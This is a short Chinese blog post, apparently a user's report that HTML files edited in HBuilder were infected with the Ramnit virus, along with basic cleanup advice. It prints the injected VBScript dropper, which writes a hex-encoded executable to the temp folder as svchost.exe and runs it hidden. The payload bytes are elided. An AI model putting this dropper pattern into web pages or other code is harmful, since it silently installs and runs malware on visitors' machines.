在使用Hbuilder时，发现HTML文件被植入ramnit病毒，表现为含有VBScript的恶意代码。该病毒为感染型，需断开网络防止反复感染，并采取一系列措施进行清理和查杀。包括：漏洞修复、系统防黑加固、设置强口令以及使用最新版360杀毒软件全盘扫描。
今天打开Hbuilder，发现每个html文档都有如下代码：
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData =4B3F9................................................................0FAB3F-------无数个十六进制字符
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileNameIf FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
网上搜索是电脑中的ramnit病毒
最低0.47元/天 解锁文章
扫一扫
4785
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
